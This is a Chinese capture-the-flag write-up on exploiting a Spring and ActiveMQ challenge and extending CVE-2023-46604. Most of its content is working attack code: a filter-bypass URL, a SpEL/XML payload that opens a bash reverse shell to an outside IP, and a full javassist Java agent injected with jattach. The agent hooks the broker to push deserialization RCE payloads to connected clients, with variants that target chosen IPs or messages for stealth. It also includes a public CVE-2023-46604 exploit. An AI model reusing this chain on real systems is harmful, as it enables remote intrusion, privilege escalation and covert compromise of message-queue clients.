利用JavaAgent插桩技术扩大攻击面以及反制攻击者

WriteUp 5个月前 admin
54 0 0

解题

在赛后才解出的,通过这道题也学习了JavaAgent技术。

绕过Filter

com.example.customer.filter.CustomerFilter#doFilter中有如下过滤器逻辑

String uri = ((HttpServletRequest)request).getRequestURI().replaceAll("/api""");
        String endpoint = uri.replaceAll("/""");
        if (endpoint.equalsIgnoreCase("changefood")) {
            response.getWriter().write("Under construction...");
        } else {
            chain.doFilter(request, response);
       }

可以利用url解析特性来绕过,payload如下:

http://192.168.195.128:32821/api;a=b/changefood

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

代码审计 — SPEL注入RCE

com.example.customer.controller.OrderController#change 代码如下

public String change(@RequestParam String foodServiceClassName, @RequestParam String name) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
        Class foodServiceClass;
        try {
            foodServiceClass = Class.forName(foodServiceClassName);
        } catch (ClassNotFoundException var5) {
            foodServiceClass = Class.forName("com.example.customer.service.IronBeefNoodleService");
        }

        this.foodService = (FoodService)foodServiceClass.getDeclaredConstructor(String.class).newInstance(name);
        return "Changed to " + foodServiceClassName + " with name " + name;
    }

这里虽然实例化后会强转FoodService报错,但是SPEL注入发生在实例化时,并不影响攻击。使用以下POC完成这一阶段的攻击:

import requests
url = "http://192.168.195.128:32821/"
def change():
    u = url + "api;a=b/changefood"
    r = requests.post(u,{"foodServiceClassName":"org.springframework.context.support.ClassPathXmlApplicationContext","name":"http://8.134.146.39:8000/poc.xml"}).text
    print(r)

change()

poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"
>

    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
            <list>
                    <value>bash</value>
                    <value>-c</value>
                    <value><![CDATA[bash -i >& /dev/tcp/8.134.146.39/6666  0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

然后获得一个反弹shell,但是/flag没有读权限,需要提权。

从通过Java agent技术控制broker攻击merchant进程提权

通过查看/start.sh可以知道,除了merchant进程,其它进程都是由player普通用户启动的。

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

因此需要攻击merchant进程来达到提权效果,对merchant.jar进行代码审计发现代码量不多,关键代码如下:

public static void main(String[] args) throws JMSException {
        ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(args[0]);
        connectionFactory.setTrustedPackages(List.of("com.example.customer.entity"));
        Connection connection = connectionFactory.createConnection();
        connection.start();
        Session session = connection.createSession(false1);
        Destination destination = session.createQueue("Orders");
        MessageConsumer consumer = session.createConsumer(destination);
        consumer.setMessageListener((message) -> {
            if (message instanceof TextMessage) {
                TextMessage textMessage = (TextMessage)message;

                try {
                    XStream xstream = new XStream(new StaxDriver());
                    xstream.allowTypesByWildcard(new String[]{"com.example.customer.entity.*"});
                    OrderEntity entity = (OrderEntity)xstream.fromXML(textMessage.getText());
                    take(entity, args[1]);
                } catch (JMSException var5) {
                    var5.printStackTrace();
                }
            }

        });
        System.out.println("Waiting for messages...");
    }

这里容易让人想到打xstram反序列化,但是看了版本是最新的打不动,于是考虑到这里的consumer连接到broker后一直处于监听状态,activemq的broker和client用的都是一样的序列化和反序列化逻辑,连接到broker的客户端也会受到CVE-2023-46604的影响,但是一般情况下broker向consumer发送的数据并不是我们可以控制的,虽然我们可以通过向Orders队列发送消息的方式和root权限的consumer进行通信,但是无法将command为31的异常消息发送给broker后转发到consumer上。但是因为broker也是player权限启动的,因此有以下两个思路:

  1. 将broker进程杀掉,61616端口起一个恶意服务发送数据给consumer,但是这个过程会造成连接中断。
  2. 使用Java agent技术在broker发送数据处插桩来完成恶意数据的发送,不会照成连接中断。

在使用方法一来尝试时发现consumer并不会在连接中断后自动重连,寄。因此需要使用Java agent来完成攻击。

代码审计 — 寻找activemq数据交互关键方法

我们需要找到activemq中在每次发送数据给consumer时都会用到的方法,并且在该方法中能调用到socket来发送自定义数据。

org.apache.activemq.transport.tcp.TcpTransport#oneway

    public void oneway(Object command) throws IOException {
        this.checkStarted();
        this.wireFormat.marshal(command, this.dataOut);
        this.dataOut.flush();
    }

在源码中可以看到方法的描述,这个方法负责向单个目标发送内容

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

并且当前连接的socket就存放在this.socket。因此可以通过此处来进行插桩干涉broker和consumer之间的数据交互。

编写agent代码

Java Agent可以做到在jvm启动时或者运行时对指定的类的字节码进行修改并更新,配合ssist可以在方法调用前后插入自定义代码,甚至重新定义整个方法体。以下是针对本题编写的Java agent代码

SocketHook.java

package com.test;

import java.lang.instrument.Instrumentation;
import java.util.Base64;
import java.util.jar.JarFile;

public class SocketHook {
    public static void agentmain(String agentArg, Instrumentation inst) throws Exception {
        String hookClass = "org.apache.activemq.transport.tcp.TcpTransport";
        String hookMethod = "oneway";
        String targetClass = "org.springframework.context.support.ClassPathXmlApplicationContext";  //需要调用的类,这里只能选择构造方法只接收一个String参数的类
        String arg = "http://8.134.146.39:8000/poc1.xml";  // 传入的参数
        String data = "1f01360000000000000100" + int2hex(targetClass.length(),4) + string2hex(targetClass)  + int2hex(arg.length(),4) + string2hex(arg);
        data = int2hex(data.length()/2,8) + data;
        String base64str = Base64.getEncoder().encodeToString(hex2bytes(data));
        String hookCode = "java.io.OutputStream out = this.socket.getOutputStream();out.flush();" +
                "out.write(java.util.Base64.getDecoder().decode("" + base64str + ""));" +
                "out.flush();System.out.println("payload send done!!!");";
        inst.appendToBootstrapClassLoaderSearch(new JarFile("/tmp/x.jar"));  // 需要让启动类加载器找到agent的jar包,否则缺少各种依赖
        SocketTransformer socketTransformer = new SocketTransformer(hookClass,hookMethod,hookCode,true);
        inst.addTransformer(socketTransformer,true);
        Class[] cs = inst.getAllLoadedClasses();
        boolean flag = false;
        for (Class a : cs){
            if (a.getName().equals(hookClass)){
                flag = true;
                try {
                    inst.retransformClasses(a);  // 重转换类,因为题目中在我们attach之前就已经加载了org.apache.activemq.transport.tcp.TcpTransport 需要进行重转换才能更新字节码
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }


    public static String int2hex(int i, int n) {
        if (n != 4 && n != 8) {
            throw new IllegalArgumentException("n should be 4 or 8");
        }
        return String.format("%0" + n + "x", i);
    }

    public static String string2hex(String s) {
        StringBuilder hexString = new StringBuilder();
        for (char ch : s.toCharArray()) {
            hexString.append(String.format("%02x", (int) ch));
        }
        return hexString.toString();
    }
    public static byte[] hex2bytes(String hex) {
        if (hex.length() % 2 != 0) {
            throw new IllegalArgumentException("Hex string must have an even length");
        }

        byte[] bytes = new byte[hex.length() / 2];
        for (int i = 0; i < bytes.length; i++) {
            int index = i * 2;
            int val = Integer.parseInt(hex.substring(index, index + 2), 16);
            bytes[i] = (byte) val;
        }

        return bytes;
    }


}

SocketTransformer.java

package com.test;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class SocketTransformer implements ClassFileTransformer {
    private ClassPool classPool;
    private String hookClass;
    private String hookMethod;
    private String hookCode;
    private boolean after;
    public SocketTransformer(String hookClass, String hookMethod, String HookCode,boolean after) throws NotFoundException {
        this.hookClass = hookClass;
        this.hookMethod = hookMethod;
        this.hookCode = HookCode;
        this.classPool = new ClassPool();
        this.classPool.appendClassPath(new LoaderClassPath(this.getClass().getClassLoader()));
        this.classPool.appendClassPath("/opt/apache-activemq/lib/activemq-client-5.17.5.jar"); // 将依赖添加到classpath中,不加这条ssist找不到activemq相关的类
        this.classPool.appendSystemPath();
        this.after = after;
    }

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        classPool.appendClassPath(new LoaderClassPath(loader));
        if (className.equals(this.hookClass.replace(".","/"))) {
            try {
                CtClass ctClass = this.classPool.get(this.hookClass);
                CtMethod ctMethod = ctClass.getDeclaredMethod(this.hookMethod);
                if (this.after){
                    ctMethod.insertAfter(this.hookCode);
                }else {
                    ctMethod.insertBefore(this.hookCode);
                }
                byte[] byteCode = ctClass.toBytecode();
                ctClass.detach();
                return byteCode;
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return null;
    }
}

在打包为java时需要将依赖一起打包,并且需要在jar包的属性中指定agent类和声明类可以重转换,因为我们是在jvm运行时以attach方式注入agent的,可以参考我使用的pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.test</groupId>
    <artifactId>SocketHook</artifactId>
    <version>1.0-SNAPSHOT</version>


    <properties>
        <maven.compiler.source>11</maven.compiler.source>
        <maven.compiler.target>11</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- 其他依赖项 -->

        <!-- Javassist 依赖项 -->
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version> <!-- 使用最新版本 -->
        </dependency>

        <!-- 其他依赖项 -->
    </dependencies>


    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.2.0</version> <!-- 使用最新版本 -->
            </plugin>

            <plugin>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>3.3.0</version> <!-- 使用最新版本 -->
                <configuration>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                    <archive>
                        <manifestEntries>
                            <Agent-Class>com.test.SocketHook</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

</project>

难绷的是在题目环境中找不到tools.jar,因此使用第三方工具将agent给attach上去,推荐使用jattach

GitHub – jattach/jattach: JVM Dynamic Attach utilityhttps://github.com/jattach/jattach

hook broker对consumer进行攻击 — 完成提权

先将jattach 和 agent的jar包放在远程服务器上,然后在题目环境使用curl进行下载,然后使用以下命令进行agent的attach,完成攻击.

chmod +x ./jattach
./jattach 42 load instrument false /tmp/x.ajr

要注意的是jar包在SocketHook.java中已经硬编码了,所以这里的文件名一定要一致。

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

返回码是0时代表attch成功,为100时代表找不到指定的jar包,102时代表agentmain里面出现了异常并且没有做异常处理。attach后等待他们之间进行一次通信,即可完成攻击,consumer和broker会每几秒钟进行一次keep,来检测对端是否还能能正常处理数据,因此在keep的时候就会触发攻击,完成反弹shell

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

利用JavaAgent插桩技术扩大攻击面以及反制攻击者

扩展activemq CVE-2023-46604的攻击面

春秋杯的题目实验中,已经完成了对consumer的攻击,在上面的结构上,我们再新建一个consumer进行连接,发现连接时也会触发RCE,因此注入agent后可以对任何连接该broker的consumer都可以进行RCE,并且我们可以选择只对某些IP或者接收到某些消息后再发送恶意数据,提高隐蔽性。

对仅对某些IP进行攻击

将hookCode改为

String hookCode = "if (this.socket.getRemoteSocketAddress().toString().contains("192.168.195.66")){java.io.OutputStream out = this.socket.getOutputStream();out.flush();" +
                "out.write(java.util.Base64.getDecoder().decode("" + base64str + ""));" +
                "out.flush();System.out.println("payload send done!!!");}";

在发送某些内容时在进行RCE

将hookCode改为

String hookCode = "if (command.toString().contains("xxx")){java.io.OutputStream out = this.socket.getOutputStream();out.flush();" +
                "out.write(java.util.Base64.getDecoder().decode("" + base64str + ""));" +
                "out.flush();System.out.println("payload send done!!!");}";

然后向指定的队列发送xxx,当broker进行转发时检测到相关内容后会进行恶意数据的发送来RCE


反制思路

从上面的实验中做到了可以RCE任何连接到该broker的客户端,再来看看网上使用的CVE-2023-46604的POC

package com.example;

import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.jms.Connection;


public class ExceptionResponseExploit {

    public static void main(String[] args) throws Exception {

        ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://192.168.195.128:32824");

        Connection connection = factory.createConnection();
        connection.start();


        Exception obj2 = new ClassPathXmlApplicationContext("http://127.0.0.1:8080/poc.xml");

        ExceptionResponse response = new ExceptionResponse(obj2);

        response.setException(obj2);

        ((ActiveMQConnection)connection).getTransportChannel().oneway(response);

        connection.close();

    }

}

通过控制恶意数据包发送的时机,也会触发RCE,从而在攻击者的设备上执行任意命令,拿来作为蜜罐也是一个不错的选择。

原文始发于微信公众号(山石网科安全技术研究院):利用JavaAgent插桩技术扩大攻击面以及反制攻击者

版权声明:admin 发表于 2024年1月26日 上午10:46。
转载请注明:利用JavaAgent插桩技术扩大攻击面以及反制攻击者 | CTF导航

相关文章